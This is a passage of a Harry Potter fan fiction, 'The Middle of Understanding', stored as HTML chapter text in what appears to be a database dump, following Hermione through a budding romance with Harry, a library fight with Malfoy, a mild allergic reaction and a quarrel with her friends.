starving. I&#8217;ll be back with food.&quot; He shuffled off, leaving me alone with Harry. The never-ending silence returned, and for the first time I didn&#8217;t know what to say.</p>\n<p>	&quot;So you really like him?&quot; Harry asked emotionless.</p>\n<p>	&quot; I like him but not romantically.&quot; <i>I mean I don&#8217;t feel any sparks</i>.</p>\n<p>	&quot;Really?&quot; His voice and posture returned to normal.</p>\n<p>	&quot;Honestly I don&#8217;t know how I feel anymore about certain people.&quot;</p>\n<p>	&quot;I know, I feel the same way.&quot; As we stared at each other, I saw raw emotion flicker in his eyes.</p>\n<p>	&quot;I missed you and Ron. Throughout the whole thing, I thought you two might walk in.&quot; I causally laid my head on his shoulder.</p>\n<p>	&quot;We wanted to give you space. Besides I&#8217;m sure Roger wouldn&#8217;t have like us with you on your date&quot; His arm wrapped my shoulder. &quot;Are you using new shampoo?&quot; He drew me in closer. <i>I thought no one notice.</i></p><i>\n</i><p><i>	</i>&quot;Yes I am.&quot; He nuzzled into my hair.</p>\n<p>	&quot;I like it. It remains me of your house.&quot; <i>Me too</i></p><i>\n</i><p><i>	</i>&quot;Thanks, anyway Harry don&#8217;t ever think I wouldn&#8217;t want to be with you or Ron. No matter what, no guy can replace us.&quot; I relaxed as he massaged my wrist.</p>\n<p>	&quot;So did you enjoy your Halloween?&quot; he murmured in to my ear.</p>\n<p>	&quot;I am now.&quot; I slowly drifted off, settling in his embrace.</p>\n<p>	&quot;Good because you deserve the best.&quot; He placed a chaste kiss on my cheek then I slide my head down to his chest. We seclude our selves from every one not noticing a thing. If we did, we would have heard Ron tell Colin to take a picture. Or that people filtered away leaving us alone in the room. Or even just to see the smile on Ron&#8217;s face, which seem like he had just won a million galleons.</p>\n\n'),
	(239, 10, ' <p>Disclaimer: These characters are definitely not mine.</p>\n\n<p>Hello everyone did you miss me? Well if you did then big hugs to you. If you didn&#8217;t then to bad for me. Anyway here is the next chapter, hope you all enjoy reading it. Also I need to thank my two lovely readers Jenn a.k.a. Lady Raven and Beachbaby560 for checking my story before it is shown to all of you lovely people. As you can tell I&#8217;m in a really good mood, so the next chapter will definitely have much H/H action. Stay tune and enjoy the story.</p>\n\n<p>&nbsp;</p>\n\n<b><p>The Middle of Understanding</p>\n\n</b><p>Chapter 9</p>\n\n<b><u><p>Daydreams, Aspirin, and Angry Questions</p>\n\n</u></b><p></p>\n\n<p>	&quot;You know if you weren&#8217;t my best friend, I would think you were a goddess placed here to tempt us.&quot; Harry appeared sitting on top of the library table.</p>\n\n<p>	&quot;Harry don&#8217;t say things you don&#8217;t mean.&quot; I leaned over to reach my Ancient Runes homework.</p>\n\n<p>	&quot;If I didn&#8217;t mean it, why would I do this?&quot; He pulled me up and kissed me right on the lips. <i>Oh this is good. Why was I nervous to do this? Shut up Nene and enjoy the moment</i>. Breaking apart we stared into each other&#8217;s eyes and I saw passion burn from within.</p>\n\n<p>	&quot;Mione, I don&#8217;t understand this?&quot; His mouth opened with Ron&#8217;s voice. <i>What?</i> Slowly his faced dissolved away. &quot;Mione, Mione are you awake?&quot; I felt Ron shake my shoulder.</p>\n\n<p>	&quot;Ron what are you doing here?&quot; <i>I thought I was with Harry.</i></p><i>\n\n</i><p><i>	</i>&quot;Mione we have been in the library for the past 2 hours. You fell asleep. I seriously think these books are driving you mad.&quot; He angled his head to the side with amusement.</p>\n\n<p>	&quot;No they are not. I just got really tired.&quot; <i>Why did I dream about Harry? I don&#8217;t believe I had a dream like that about Harry.</i></p><i>\n\n</i><p>	&quot;Since you awake, I still don&#8217;t understand this question?&quot; Ron shoved the book towards me.</p>\n\n<p>	&quot;You don&#8217;t understand a lot Ron. But we&#8217;ll still be your friends.&quot; Harry called out from behind me. I watched as he strutted over with no awareness of the girls following his every move. He had is Gryffindor uniform on but carried his black robe over his shoulder. His sleeves were rolled up revealing muscles flexing back and forth. As usual his hair was messy and glasses lope-sided. But I had the realization of why most of the female population was drooling over my best friend. &quot;You know if you weren&#8217;t my best friend, I would think you were a goddess placed here to tempt us.&quot; He sat on top of the table, towering over me. <i>This feels familiar.</i></p><i>\n\n</i><p>	&quot;Don&#8217;t say things you don&#8217;t mean.&quot; I got up to reach for Ron&#8217;s book when I realized where this was leading. <i>Breathe&#8230;1&#8230;2&#8230;3,it was only a dream.</i></p><i>\n\n</i><p>	&quot;Of course I mean it. Aren&#8217;t I right Ron? Doesn&#8217;t she look amazing today.&quot; Harry grabbed the book for me as I still stood looking like a mouth wide flytrap.</p>\n\n<p>	&quot;I absolutely agree Harry. If you hadn&#8217;t shown up, I would have ran off with her myself.&quot; Ron dramatically answered while placing his quill down.</p>\n\n<p>	&quot;And I thought, I was the only person with that idea.&quot;</p>\n\n<p>	&quot;You know Harry, I think we might need to fight over for her.&quot; Ron patted Harry&#8217;s shoulder, standing beside him.</p>\n\n<p>	&quot;Now or later?&quot; Harry replied instantly.</p>\n\n<p>	&quot;How about later? You probably want some time with her before I beat you.&quot; Ron stuck his nose in the air. <i>He&#8217;s getting cocky</i>.</p>\n\n<p>	&quot;You mean before I beat you.&quot; Harry answered smugly. <i>So is he</i>.</p>\n\n<p>	&quot;You two are hopeless.&quot; As I sat back watching with merriment. <i>Well at least you&#8217;re not snogging your friend senseless. Stop thinking about his lips and how they are right in front of you.</i></p><i>\n\n</i><p>	&quot;Mione who do you think will win?&quot; Ron crossed over and placed his arm around the chair. <i>Great now I&#8217;m trap between big head 1 and 2.</i></p><i>\n\n</i><p>	&quot;Think carefully before you answer.&quot; Harry raised his brow up and down. <i>Why couldn&#8217;t he be</i>\n\n<i>ugly? I could concentrate much easier if he was</i>. I looked to Ron for help but only received a devilish grin. <i>Well logically either way will result in male ego warfare and macho remarks. Think quick Granger.</i></p><i>\n\n</i><p>	&quot;Neither since your both so wimpy.&quot; I was about to run away when fate decided I needed to stay. I tripped over myself and was preparing to fall when those familiar arms supported me. Ron burst out laughing while I flushed as red as a tomato. <i>I never said I was graceful.</i></p><i>\n\n</i><p>	&quot;Hermione if you wanted to be in my arms, you can just ask.&quot; Harry supported me around my stomach, which caused tickling sensations all over me.</p>\n\n<p>	&quot;But Harry, Mione never asks a question. It&#8217;s not in her character too.&quot; Ron stated sarcastically.</p>\n\n<p>	&quot;Ron Weasley, if I was not embarrassed I would curse you till next week.&quot;</p>\n\n<p>	&quot;Or still in Harry&#8217;s arms.&quot; He answered back. Sensing my nerves, Harry released me from his touch. <i>Oh should I be thanking Ron or hexing him for his timing?&quot;</i></p><i>\n\n</i><p>	&quot;Keep one eye open tonight Weasley.&quot; I glared straight at him.</p>\n\n<p>	&quot;Never mind Harry you can have her. She has too much spunk for my taste.&quot; Ron crossed his arms posing like he knew something important. I throw my fist in the air getting ready to bunch him when I heard the same annoying drawl. </p>\n\n<p>	&quot;Having another love spat with your boyfriends. Did they finally decide to dump you? But knowing Weasley, he couldn&#8217;t afford another girlfriend.&quot; Malfoy arrogantly stood with his miniature lackey. Harry instantly held Ron back from beating the Slytherin. &quot;Let him go Potter. If he wants to fight, I&#8217;m ready for it.&quot;</p>\n\n<p>	&quot;Go ahead Potter, we can handle a fight.&quot; Peter taunted with a snotty smile spread across his face.</p>\n\n<p>	&quot;Malfoy you couldn&#8217;t handle me last time. Are you sure you can take it now?&quot; Harry replied mockingly. <i>Why do boys always have to fight?</i><br> 	&quot;There is going to be no fighting today. Malfoy I suggest you leave before you start losing points.&quot; I stood firmly facing him.</p>\n\n<p>	&quot;Granger aren&#8217;t you tired of the point deduction? I would be glad to lose it, just to hit Weasel&#8217;s face.&quot;</p>\n\n<p>	&quot;I&#8217;ll hit you in the face.&quot; Ron then jumped towards Malfoy, with Peter dodging out of the way. Harry then grabbed Peter&#8217;s robe so he couldn&#8217;t run away. Ron and Malfoy started tossing and struggling on the ground.</p>\n\n<p>	&quot;Stop it. Stop fighting.&quot; I shouted gaining onlookers around the library.</p>\n\n<p>	&quot;I believe that will not stop them Hermione. When it comes to boys and their methods, we women have to result in more practical measures.&quot; Professor Figgs took out her wand at the boys. &quot;Petriticus Totalus,&quot; their movements stopped from the fully body bind.</p>\n\n<p>	&quot;Professor&#8230;It wasn&#8217;t&#8230;I didn&#8217;t&#8230;He did,&quot; they shouted at once.</p>\n\n<p>	&quot;Silence,&quot; she placed the silencing charm, and nothing echoed from their open mouths. &quot;I personally do not care who started it or who&#8217;s fault it is. As 5th year students, you should be setting an example for the younger student body. 20 points each from Gryffindor, Draco 30 points because you are a Prefect. Peter do not look so smug, I&#8217;m taking 15 points from you also. If I hear any more complaints, I will hand out detentions. Do I make myself clear gentlemen?&quot; She received reluctant blinks. &quot;Good, Prior Incanctato.&quot; Quickly they pull apart and stood up not showing their hurt pride.</p>\n\n<p>	&quot;Come on Peter,&quot; Malfoy tugged the younger boy&#8217;s collar.</p>\n\n<p>	&quot;But Draco,&quot; he whined while being dragged away from us.</p>\n\n<p>	&quot;Ron you lip is bleeding.&quot; I rush over to examine his injury.</p>\n\n<p>&quot;I&#8217;ll bring Ron to the Hospital Wing, I was going to see Madam Pomfey any way. You two should be getting back. It is near curfew and you have class tomorrow. I&#8217;ll make sure he is properly fit before returning.&quot;</p>\n\n<p>	&quot;Thank you Professor,&quot; I smiled to her. She had short black hair today with violet eyes. Even though I never saw her real face, her sweet sparkling smile was always the same. It was the type of smile that radiated light, and which captivated any ones attention towards her.</p>\n\n<p>	&quot;See you two later,&quot; Ron followed the Professor out the large library doors.</p>\n\n<p>	&quot;We should be heading back. It is almost 9 and you still have to tutor Neville in Potions.&quot; Harry grinned turning his head away from the door.</p>\n\n<p>	&quot;Let me pack my bag then we can go.&quot; <i>I wonder why he is smiling like that</i>. I raised my eyebrow in question at his grin. He only smiled wider.</p>\n\n<p>	We walked towards the Tower, and I was lost again in my own thoughts. I was to busy thinking to lecture Harry on how he shouldn&#8217;t be fighting. Lately things had seem peculiar between us. He said more daring comments and appeared beside me most of the time. <i>I&#8217;m not complaining but I guess I&#8217;m confused of what is going on between us.</i></p><i>\n\n</i><p>	&quot;Are you all right?&quot; Harry stopped me from walking further.</p>\n\n<p>	&quot;Yes, why do you ask?&quot; I smiled reassuringly then stared in to his green eyes. He had that charming smile again. <i>I wonder if he makes other girl&#8217;s legs shake like this as much as mine.</i></p><i>\n\n</i><p>	&quot;You just seem deep in your own thoughts. Anything I may be of service for?&quot; He bowed his upper body.</p>\n\n<p>	&quot;Carry my bag, it&#8217;s starting to give me a backache.&quot; I thrust the heavy bag in his direction.</p>\n\n<p>	&quot;I was about to do that anyway.&quot; He answered knowingly, &quot;Shall we mi lady?&quot; He arched his arm next to mine.</p>\n\n<p>	I laughed, looping my arm through his, &quot;Why thank you kind sir.&quot;</p>\n\n<p>	I have always been a morning person growing up. The best part of the day was lying in my warm bed and enveloped in to the silence. People are so afraid of it but never fully appreciate the time when everything seems flawless. Just picture yourself beneath a flowing blanket and squishy surface underneath. You can feel the early sun trying to touch you behind the linen curtains. Most importantly it&#8217;s the only time of day were nothing has been spoiled. It&#8217;s still innocent from schedules, rules, and responsibilities. Before I came to Hogwarts, my mom told me that life was like mornings. No matter what happens the day before or the day after, a new day must come. The sun must rise, the moon must set, and you must continue.</p>\n\n<p>	&quot;Good morning everyone,&quot; I cheerfully said to the sleepy eyed table. I heard groans and mumbles of their usual morning greetings. &quot;Did everyone just wake up on the wrong side of the bed?&quot; </p>\n\n<p>	&quot;We have double potions today Mione. How are you still so chipper?&quot; Ron asked with a mouth filled reply.</p>\n\n<p>	&quot;Then we have Divination, which means more death omens for me.&quot; Harry sighed with annoyance.</p>\n\n<p>	&quot;Well it&#8217;s your own fault. I told you to take Arithmancy with me.&quot; I smiled with a cheery singsong voice.</p>\n\n<p>	&quot;Only you Mione would like Wednesday s,&quot; Ron stacked more pancakes onto his plate. </p>\n\n<p>	&quot;Hermione do you think you have time to help me with Transfiguration tonight?&quot; Neville asked politely while listening to Harry and Ron discuss Quidditch.</p>\n\n<p>	&quot;Yes I think I do. Just find me later on tonight.&quot; Then I heard the familiar sounds of flapping and I saw Nice fly towards me. &quot;Hello Nice, here is some toast.&quot; She hooted then nibbled on the tiny breadcrumbs.</p>\n\n<p>	<b>Dear Sunshine,</b></p><b>\n\n<p>I am glad to hear that you&#8217;re enjoying Prefect duties. I was worried when you said it was difficult to have time with so much responsibilities. Like I always say, responsibilities are only difficult if you allow them to be. Everything at home is fine. We decided to place the Rocking chair in the nursery. Mom likes the idea of rocking the baby to sleep. The office is well and yes I fixed Mrs.Kelly&#8217;s dentures. She has her difficulties but she is still my patient. Mom seems to be larger by the minute but don&#8217;t tell her I said that. Andrew sends his regards. He asked me if you were dating anyone. Of course I told him no, but with my baby girl things always seem to change when I think I know the answer.</p>\n\n<p>	Anyway I have great news for you. Winston is going to spend Christmas in London. I asked him to stay with us, since he has no family here. I know you are as excited as I am. Your mom thinks we should have another Christmas party. Actually I think it was the Jones sisters who wanted another Christmas party. Well that is all the news I have for you. Remember to write back soon, and don&#8217;t let that Malfoy kid get to you. Love you always will and never half way.</p>\n\n<p>	Dad</p>\n\n</b><p>	&quot;Is that from you Dad?&quot; Harry asked after finishing his own letter.</p>\n\n<p>	&quot;Yes it is, everything at home is going well.&quot; I gave a small smile.</p>\n\n<p>	&quot;Then why aren&#8217;t happy?&quot;</p>\n\n<p>	&quot;I was hoping for news about the baby.&quot; I glanced back at the letter to notice at the very bottom was a postscript.</p>\n\n<p>	<b>PS You thought I forgot to mention him. You read right, he is going to be a boy. Start thinking of names.</b></p><b>\n\n</b><p><b>	</b>&quot;It&#8217;s a boy. I&#8217;m going to have a younger brother.&quot; I shouted loudly. Being overly excited I hugged Neville, who started blushing instantly. I received congratulations and smiles from my classmates. I was too happy to care if I looked like a beaming idiot. The grin on my face could not be washed away today.</p>\n\n<p>	&quot;Come on Mione, we better go to Potions so your great day isn&#8217;t to spoiled.&quot; Ron huffed then rushed towards the Dungeon.</p>\n\n<p>	&quot;Don&#8217;t mind him Nene. He is just upset because the Twins pulled another prank on him. You&#8217;re going to be a fantastic older sister.&quot; Harry said with confidence at my abilities.</p>\n\n<p>	&quot;I have plenty of practice from you two.&quot; I playfully hit his shoulder. We continued talking in to the room, to find that Professor Snape had not arrived yet. Most of the Gryffindors and Slytherins were seated chatting with their neighbors. Ron left us sits in the back and argued with Seamus and Dean about Quidditch. <i>I really need to teach him another sport</i>. </p>\n\n<p>	&quot;Hermione are you coming to our practice today? Ron and I came up with these new strategies we wanted to show you.&quot; Harry leaned away from the other boys heated discussion. </p>\n\n<p>	&quot;No sorry Harry. Terry and Padma wanted to go over notes for Arithmancy.&quot; He sagged his shoulders and sighed with dissappointment.&quot;You want to tell me all the details after dinner.&quot; I tried lifting his spirits.</p>\n\n<p>	&quot;Ron and I promised Charlie we would help him clean dirty cages.&quot; He answered with the same discouraged tone.</p>\n\n<p>	&quot;So I guess we don&#8217;t have much time to see each other today.&quot; I cast my eyes away feeling downhearted. Then I felt Harry place his hand on top of mine and squeezed it mildly.</p>\n\n<p>	&quot;How about I try to finish earlier and bring you back snacks? I&#8217;m sure you will be hungry after another tutor session with Neville.&quot; His finger brushed my knuckles. </p>\n\n<p>	&quot;I would like that very much.&quot; </p>\n\n<p>	&quot;Silence, open you books to page 187. Today we are working on a simple hair growth potion. First we start,&quot; Professor Snape&#8217;s lecture then carried on in its usually manner. I spent the rest of my class helping Neville who succeed in not blowing up any cauldrons. Ancient Runes and Arithmancy were fairly easy since I already read ahead in the book. Our study group of three evolved into a number of 20 in the library. Cho Chang was also in the library when many of us had different opinions on the theorem Professor Vector had taught us. She was able to explain most of our questions and comments. Dinner was lonely because Harry and Ron were gone by the time I left the library. I ended up sitting with Lavendar and Parvati who would not stop questioning about Roger. I finally got them to stop by mentioning Charlie&#8217;s name. Though it was endless giggles, at least it wasn&#8217;t directed towards me. I think if the Jones sisters had children they would be my two roommates. Now there is a scary thought, the Jones sisters having kids.</p>\n\n<p>	&quot;Hermione are you listening?&quot; Neville waved a quill in my face.</p>\n\n<p>	Shaking my head, &quot;I&#8217;m sorry Neville. What was your question?&quot; Before he could ask a bouncy red head flopped next to the boy.</p>\n\n<p>	&quot;Hello Neville, Mione,&quot; Ginny said sweetly. &quot;Sorry I didn&#8217;t mean to interrupt.&quot; She smiled at me then Neville.</p>\n\n<p>	&quot;I was just asking Hermione about Transfiguration. Do you need something?&quot; <i>They have been pretty close lately. I think I&#8217;m going to have to have a talk with Ginny.</i></p><i>\n\n</i><p>	&quot;Remember when you were upset about your headaches always in the way when you wanted to remember things. Well I have been working on this potion, which I think will help.&quot; She showed a flask towards us.</p>\n\n<p>&quot;Here just take a whiff of it and you&#8217;ll feel better.&quot; Ginny opened the flask and misty fumes escaped reaching both our noses. At first it was very relaxing but then I started feeling dizzy. Being disorientated I started falling backwards. </p>\n\n<p>&quot;Fred, George come here quick.&quot; Ginny screamed across the room. They caught me in time before hitting the floor. Carefully they laid me on the warm maroon carpet. My head felt heavy and I could not focus. Everything around me was yellow with black looming figures. The smell still covered my senses and blocked my thinking.</p>\n\n<p>	&quot;Ginny, cover the bottle,&quot; I whispered hoarsely. She quickly obeyed without hesitation. &quot;What did you place in the potion?&quot; I slowly blinked hoping to regard sight.</p>\n\n<p>	&quot;Just your usual headache cure but I added a muggle indigent. I have been studying muggle medicine and it appeared harmless.&quot; She bent closer holding my cold hands.</p>\n\n<p>	&quot;What was it?&quot; </p>\n\n<p>	&quot;Aspirin,&quot; she replied. &quot;It is so common.&quot; I took a deep breath in.</p>\n\n<p>	&quot;Ginny some people are allergic to aspirin. I happen to be one.&quot; I rose with the help of the Twins.</p>\n\n<p>	&quot;Oh dear Merlin, I&#8217;m so sorry Hermione. I didn&#8217;t know. Are you all right? We should take you to see Madam Pomfey.&quot; She rambled out with concern wrinkling her nose up.</p>\n\n<p>	&quot;I&#8217;m fine. No need to worry your head off. I&#8217;m just a little dizzy. I think a good night rest will do.&quot; I stood trying to regain control over my body.</p>\n\n<p>	&quot;We&#8217;ll walk you up Mione.&quot; Fred smiled at me.</p>\n\n<p>	&quot;Gives us a chance to walk in to a girl&#8217;s room.&quot; George replied humorously trying to loosen the serious atmosphere.</p>\n\n<p>	&quot;I thought Fred had plenty of experiences with Angelina.&quot; I stated thoughtlessly. I received an up roar of laughs. &quot;But I honestly,&quot; before I could continue all members of Gryffindor pushed me up the stairs. Soon I reached my room and I dropped on to the soft bed. Tiredness had taken over and I was not complaining. I felt my body sink heavier into the bed.</p>\n\n<p>	I woke from my slumber, glancing to see the numbers 5:30. Tossing and turning from my unwillingness to sleep, I dragged myself out of my bed. Quickly moving around so my bare feet would not have to touch the cold floor. I found my uniform and grabbed my Charms book to read. Silently I tiptoed out the room, trying not to disturb my roommates.</p>\n\n<p>	&quot;What are you doing up? You should be in bed resting.&quot; Harry surprised me while I was comfortably reading on the large couch. I dropped my book and looked up to see Harry towering over me.</p>\n\n<p>	&quot;Harry please don&#8217;t scare me like that.&quot; I took the fallen book from his hands.</p>\n\n<p>	&quot;Sorry,&quot; he sat besides me in his running outfit. He was wearing the black sweat pants my father had given him and an old worn out shirt from Dudley. Since it was fairly dark still the fire glowed framing those sparkling green eyes. He still had the fresh pine smell and I relaxed in his presence.</p>\n\n<p>	I smiled seeing those eyes looked so troubled. &quot;I&#8217;m feeling better Harry. Don&#8217;t look so worried.&quot;</p>\n\n<p>	&quot;How can I not be concerned? I return last night to find out you had an allergic reaction, which you have never told me about. Then you refused to go to the Hospital Wing, and I went to your room to see that you were very pale.&quot; He placed his hand over mine. &quot;Your cold.&quot;</p>\n\n<p>	&quot;Harry I&#8217;m fine. Really it&#8217;s not a big deal. I only had a whiff of the potion. It is nothing serious.&quot;</p>\n\n<p>	&quot;But you are still sick, and I don&#8217;t know how to help you.&quot; He touched my cheek with his smooth hand. </p>\n\n<p>	&quot;You&#8217;re doing a great job now.&quot; I moved closer next to him. Automatically he wrapped his arm around me and I placed my head on his shoulder.</p>\n\n<p>	&quot;Accio blanket,&quot; he called bringing a fuzzy red blanket. Placing the soft material around me I snuggled in to his body.</p>\n\n<p>	&quot;This is nice.&quot; My eyes slowly drape down. <i>Comfortable and soft.</i></p><i>\n\n</i><p>	&quot;Yes it is,&quot; he replied strongly.</p>\n\n<p>	&quot;I wish we could do this more often.&quot; <i>I feel drowsy</i>. </p>\n\n<p>	&quot;I would do this forever, if you wanted me too.&quot; <i>He is so sweet when he says adorable comments like that.</i></p><i>\n\n</i><p>	&quot;I might take your offer,&quot; I yawned. &quot;Hold me tighter Harry, I&#8217;m still a little cold.&quot;</p>\n\n<p>	&quot;Anything you want Nene.&quot;</p>\n\n<p>	I woke feeling rather warm and heard random noises. Opening my eyes, I saw I was spread across the couch in the Common Room. It appeared to be dark out again which seem old. <i>I thought I just woke</i>\n\n<i>up?</i> &quot;Denis what time is it?&quot; I asked groggily.</p>\n\n<p>	&quot;7:30,&quot; he turned away from his homework. &quot;Did I wake you? Harry told everyone not to disturb you.&quot;</p>\n\n<p>	&quot;No, you didn&#8217;t. Where is Harry?&quot; <i>He&#8217;s getting a nice lecture about me missing class</i>.</p>\n\n<p>	&quot;He went to get your notes and assignment from class.&quot; <i>Okay maybe I will not lecture but discuss</i>.</p>\n\n<p>	&quot;Is Ron around then?&quot; Finally noticing the absents of many of my friends.</p>\n\n<p>	&quot;Harry told him to bring you dinner.&quot; <i>He is too nice to me.</i></p><i>\n\n</i><p>	&quot;Mione you&#8217;re finally up. Are you feeling better?&quot; Ron shouted carrying a tray of food.</p>\n\n<p>	&quot;Yes I feel a lot better. Why didn&#8217;t you wake me? You know I don&#8217;t like missing classes.&quot; He helped me to the table with my dinner.</p>\n\n<p>	&quot;Because I didn&#8217;t want to face the wrath of my sister and Harry. Besides it&#8217;s just class, I&#8217;m sure you&#8217;re still 10 chapters ahead.&quot; He smiled with his usual goofy tone. I sat down seeing my favorite pea soup and sourdough bread. There was a note folded next to a hot cup of tea. &quot;I ran into Roger on my way back. He wrote you that note. Well hurry up and eat. You haven&#8217;t eaten all day and you need your energy. If it was me sick, I would have starved a long time ago.&quot;</p>\n\n<p>	&quot;That&#8217;s because of your bottomless pit of a stomach,&quot; I poked his nonexistent belly.</p>\n\n<p>	&quot;You&#8217;re so funny. Well eat before its cold, I have to run up to my room and get my Potions book.</p>\n\n<p>	<b>Dear Hermione,</b></p><b>\n\n<p>	I heard you were sick and I wanted to check on you. When I reached the Tower, everyone said you were sleeping. I hope you are feeling better? Are you to sick to go out this weekend? I was wondering if you would like to join me on a Hogsmeade trip? I hope to see you at tomorrow&#8217;s meeting and get plenty of rest.</p>\n\n<p>	Roger</p>\n\n</b><p>	&quot;So lover boy still chasing after you. I thought you didn&#8217;t like him?&quot; Ron appeared with his book.</p>\n\n<p>	&quot;He is not chasing after me. Roger was just checking about my well being. As for liking him, that is my personal business.&quot; <i>Besides I still don&#8217;t know myself</i>.</p>\n\n<p>	&quot;Since I am your best friend, I thought your personal business was important to know.&quot; He broke my bread apart at my failing attempts too. &quot;Mione, I just think Roger is not the right guy for you. I mean your perfect and he&#8217;s so uptight.&quot;</p>\n\n<p>	&quot;Ron he is not uptight and I&#8217;m not perfect.&quot; I stirred my soup not wanting to continue the conversation.</p>\n\n<p>	&quot;Why aren&#8217;t you perfect?&quot; Harry spoke behind me. Started I spilled some of my tea.</p>\n\n<p>	&quot;Please stop scaring me like that,&quot; I dabbed the wet spots I made.</p>\n\n<p>	&quot;Sorry,&quot; he sat down on the table. &quot;I got all your notes and homework. Professor McGonegall said to take you to the Hospital Wing if you&#8217;re still feeling sick.&quot; He smiled then I noticed the purplish color around his eye. <i>What is that?</i></p><i>\n\n</i><p>	&quot;Harry are you hurt?&quot; I stood to check his left eye.</p>\n\n<p>	&quot;Mione I&#8217;m sure it&#8217;s just the lighting. Come on you still haven&#8217;t finished your food.&quot; Ron grabbed my shoulder. I turned at his touch to see scars along his arm.</p>\n\n<p>	&quot;Ron when did you get these?&quot; I pulled his sleeve up, revealing cuts higher up his arm.</p>\n\n<p>	&quot;Hermione, we are fine. Just drop it okay.&quot; Harry tired calming my growing voice. &quot;You are making a scene.<br> 	&quot;Oh I&#8217;m making a scene. Well excuse me for being concerned about me friends.&quot; I deliberately spoke louder. &quot;I mean I have no right to ask why you two have been receiving injuries all the time. I have no right to wonder where you two always run off too. I have not right to care what it is your hiding.&quot; I was screaming at them with anger.</p>\n\n<p>	&quot;I think we should continue this upstairs,&quot; Harry persisted.</p>\n\n<p>	&quot;Mione, let&#8217;s talk about this somewhere else. I&#8217;m sure most of the school heard you just now.&quot; Ron tired placing his hand on my shoulder again. Still frustrated I pulled away from his nearness.</p>\n\n<p> Agitated I walked a few steps then said to them; &quot;No we are not continuing anything. I rather not know until you are ready to tell me the truth.&quot; Trying not to cry, I ran upstairs and slammed the door behind me. Finally being alone, I let the hot tears fall from my face. <i>Why are they so stubborn? What are they hiding? Why are they always hurt? What have they gotten into? Why haven&#8217;t they told me? What is going on?</i></p> '),
	(239, 11, ' <p>Disclaimer: These lovely characters are still not mine.</p>\n\n<p>Thank you everyone for the reviews and comments. I&#8217;m sorry to say that Roger will not disappear but don&#8217;t worry he&#8217;ll never be Harry. Big thank you to my two lovely reader&#8217;s Jenn a.k.a. Lady Raven and Beachbaby560. I know many of you are pretty miffed at me continuous interrupting action between H/H. Don&#8217;t worry this chapter makes up for all of it. Anyway hope to hear what you think and most importantly enjoy.</p>\n\n<b><p>The Middle of Understanding</p>\n\n</b><p>Chapter 10</p>\n\n<b><u><p>Kisses</p>\n\n</u></b><p></p>\n\n<p>	&quot;Are you sure you are better? I mean you still look very pale.&quot; Roger asked while we walked towards the Hogsmeade carriages. &quot;We could stay at school if you like. It&#8217;s not worth you feeling worst just going out.&quot; He placed his hand on my shoulder.</p>\n\n<p>	&quot;I&#8217;m fine Roger. I just didn&#8217;t sleep well last night. I want to go.&quot; <i>Besides I don&#8217;t want to be alone</i>. After settling in an empty carriage, we sat comfortably for the short trip. My thoughts drifted off towards the argument I had with Harry and Ron. I had refused to talk to either of them. They did try their best but I would just walk away. <i>Why am I being so stubborn? I simply rather have calm my nerves then high-strung personality.</i></p><i>\n\n</i><p>	&quot;What is wrong?&quot; He leaned closer peering into my eyes. </p>\n\n<p>	&quot;What do you mean?&quot;</p>\n\n<p>	&quot;Hermione, your not happy. I could tell at yesterday&#8217;s meeting. Now you look like you&#8217;re going to cry. Do you want to tell what&#8217;s wrong?&quot; He rested his hand on my knee. Instinctively I shifted my knees away from his touch. He withdrew noticing my sudden awkwardness. <i>Why did I move away? It&#8217;s not like I&#8217;m afraid of his touch. Keep talking and maybe it&#8217;ll get better.</i></p><i>\n\n</i><p>	&quot;Just issues with Harry and Ron. I am worried but I&#8217;m sure I just need time to handle the problem.&quot; I gave a forced smile.</p>\n\n<p>	&quot;I see,&quot; he answered quietly. &quot;Hermione I know I&#8217;m not one of your great friends, but I would be willing to listen to anything you want to tell me.&quot; Roger gazed back with sincerity shining at me. <i>I should</i>\n\n<i>tell him that maybe he could help</i>. I opened my mouth ready to speak when nothing came out. We stared into each other&#8217;s eyes and it felt comforting.</p>\n\n<p>	&quot;Thank you,&quot; I smiled. &quot;You know you never finished telling me about your family. I believe we left off discussing your father.&quot; The afternoon was spent just walking in the town and carefree expressions. We discussed everything and anything. I had a great time. We could have a serious debate and not be life threatening. We could laugh without the back of my mind worried about consequences. We could be normal teenagers.</p>\n\n<p>	&quot;I&#8217;ll get us our butterbeers. You just sit here and think about what I said.&quot; Roger winked at me.</p>\n\n<p>	&quot;But Roger, Professor Snape and McGonegall would never happen. I don&#8217;t even want to think of that possibility.&quot; I shoved him towards the bar. Still laughing my eyes wonder to notice most of the upper class was here as well. Madam Rosmerta was cheerfully discussing with many of the Professors at the back tables. I waited comfortably for Roger when I felt his eyes burning into me.</p>\n\n<p>	&quot;Hermione,&quot; Harry and Ron said cautiously.</p>\n\n<p>	&quot;Hello,&quot; I huffed.</p>\n\n<p>	&quot;Hermione you look amazing. I don&#8217;t see anyone of you for two years and you all change drastically.&quot; A voice called out beside them. I was so focused on my friends that I didn&#8217;t recognize the familiar face. His sandy hair was shorter this time but he still had worn out eyes. He did look much healthier then I last saw him.</p>\n\n<p>	&quot;Professor Lupin,&quot; I smiled genuinely.</p>\n\n<p>	&quot;Now let&#8217;s not be so formal. I&#8217;m not your teacher anymore. Please just call me Remus.&quot; He grinned showing off a very dashing smile. &quot;May we join you?&quot; he gestured at the empty chairs next to mine. <i>Dilemma? Yes or No. You&#8217;re on a date. No I&#8217;m not. Are you sure? No.</i> I looked at there waiting faces. <i>Just let them sit down.</i></p><i>\n\n</i><p>	&quot;If you would like too,&quot; I sat back down into my own chair. As we settle around the table, I glanced to see Roger return with a puzzled expression. &quot;Roger you remember Professor Lupin.&quot; </p>\n\n<p>	&quot;Of course, Hello Professor,&quot; he nodded politely. &quot;Hello Harry, Ron how is everyone today?&quot; Roger placed the drinks down to shake Remus&#8217;s hand.</p>\n\n<p>	&quot;I&#8217;m fine Roger. Please call me Remus.&quot; He smiled cordially. Harry and Ron gave feeble smiles to him. &quot;Would you like butterbeers also?&quot; </p>\n\n<p>	&quot;No, I&#8217;ll get them Roger. Please sit and I&#8217;ll be right back.&quot; Remus then left the four of us alone, staring awkwardly at each other. Stiffly we sat not sharing must conversation. I fiddled with my hands while Roger sipped his drink. Ron&#8217;s eyes wandered every else and Harry decided to concentrate by staring straight at me. Luckily Remus returned or I would have screamed from vexation.</p>\n\n<p>	&quot;When did you arrive Remus? I had no idea you were coming.&quot; I asked curious of his sudden appearance.</p>\n\n<p>	&quot;I sent a letter to Harry two days ago. I was expecting you to meet me as well today. I was rather surprised when you weren&#8217;t there with them.&quot; </p>\n\n<p>	&quot;Well they have been extremely busy with other things. They forget to tell me anything anymore.&quot; I answered with a bitter undertone at Harry and Ron.</p>\n\n<p>	